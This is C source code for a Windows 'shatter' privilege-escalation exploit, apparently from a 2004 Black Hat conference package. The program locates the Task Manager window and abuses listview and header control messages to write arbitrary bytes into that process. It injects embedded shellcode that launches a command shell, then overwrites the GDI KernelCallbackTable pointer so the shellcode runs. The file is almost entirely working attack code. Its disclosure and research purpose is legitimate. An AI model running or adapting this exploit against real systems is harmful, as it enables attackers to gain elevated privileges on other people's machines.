/*************************************************************************************

* ShatterGDI.c

*

* Demonstrates how to overwrite the GDI table pointer to execute shellcode

*

* Uses listview messages for arbitrary writing

*

* tWindow is the title of the programs main window 

*

* Shellcode is preloaded with relevant API address's

* Replace first byte with breakpoint for debugging

*

* Brett Moore [ brett.moore@security-assessment.com ]

* www.security-assessment.com

*

* Blackhat USA 2004 package

*

*************************************************************************************/

#include <windows.h>

#include <commctrl.h>



// Local Cmd Shellcode

BYTE exploit[] = ""

	"\x90\x68\x74\x76\x73\x6D\x68\x63\x72\x00\x00\x54\xB9\x61\xD9\xE7\x77"

	"\xFF\xD1\x68\x63\x6D\x64\x00\x54\xB9\x44\x80\xC2\x77\xFF\xD1\xCC";



char tWindow[]="Windows Task Manager";// The name of the main window

long gdiHandler = 0x7ffdf02C;         // Address of KernelCallbackTable pointer

long shellcodeaddr = 0x7ffdf200;      // Known Writeable Space Or Global Space

long bufferaddr= 0x00074930;		  // Place to put table



long hLVControl,hHdrControl;

void doWrite(long tByte,long address);

void IterateWindows(long hWnd);

int main(int argc, char *argv[])

{

	long hWnd;

	HMODULE hMod;

	DWORD ProcAddr;

	

	printf("%% Shatter - Overwriting GDI KernelCallbackTable\n");

	printf("%% brett.moore@security-assessment.com\n\n");



	// Find local procedure address

	hMod = LoadLibrary("kernel32.dll");

	ProcAddr = (DWORD)GetProcAddress(hMod, "LoadLibraryA");

	if(ProcAddr != 0)

	  // And put it in our shellcode

	  *(long *)&exploit[13] = ProcAddr;



	hMod = LoadLibrary("msvcrt.dll");

	ProcAddr = (DWORD)GetProcAddress(hMod, "system");

	if(ProcAddr != 0)

	  // And put it in our shellcode

	  *(long *)&exploit[26] = ProcAddr;



	printf("+ Finding %s Window\n",tWindow);

	hWnd = FindWindow(NULL,tWindow);

	if(hWnd == NULL)

	{

	  printf("+ Couldn't Find %s Window\n",tWindow);

	  return 0;

	}

	printf("+ Found Main Window At          0x%xh\n",hWnd);

	IterateWindows(hWnd);

	printf("+ Not Done...\n");

	return 0;

}

void doWrite(long tByte,long address)

{

	// Do the byte writing

	SendMessage((HWND) hLVControl,(UINT) LVM_SETCOLUMNWIDTH,0,MAKELPARAM(tByte, 0));

	SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,1,address);

}

void IterateWindows(long hWnd)

{

	long childhWnd,looper;

	long tempbuf;



	childhWnd = GetNextWindow(hWnd,GW_CHILD);

	while (childhWnd != NULL)

	{

	  IterateWindows(childhWnd);

	  childhWnd = GetNextWindow(childhWnd ,GW_HWNDNEXT);

	}

	hLVControl = hWnd;

	hHdrControl = SendMessage((HWND) hLVControl,(UINT) LVM_GETHEADER, 0,0);

	if(hHdrControl != NULL)

	{

		// Found a Listview Window with a Header

		printf("+ Found listview window         0x%xh\n",hLVControl);

		printf("+ Found lvheader window         0x%xh\n",hHdrControl);



		// Inject shellcode to known address

		printf("+ Sending shellcode to          0x%xh\n",shellcodeaddr);

		for (looper=0;looper<sizeof(exploit);looper++)

		 doWrite((long) exploit[looper],(shellcodeaddr + looper));



		// Inject look up table

		printf("+ Sending table to heap         0x%xh\n",bufferaddr);



		tempbuf = bufferaddr;

		for (looper=0;looper<100;looper++)

		{

				 

			doWrite(((shellcodeaddr) & 0xff),tempbuf);

			doWrite(((shellcodeaddr >> 8) & 0xff),tempbuf+1);

			doWrite(((shellcodeaddr >> 16) & 0xff),tempbuf+2);

			doWrite(((shellcodeaddr >> 24) & 0xff),tempbuf+3);

			tempbuf+=4;

		}



		// Overwrite GDI

		printf("+ Overwriting GDI pointer       0x%xh\n",gdiHandler);

		// Word write

		doWrite(((bufferaddr  >> 16) & 0xff),gdiHandler+2);

		

		printf("+ Done...\n");

		exit(0);

	}

}



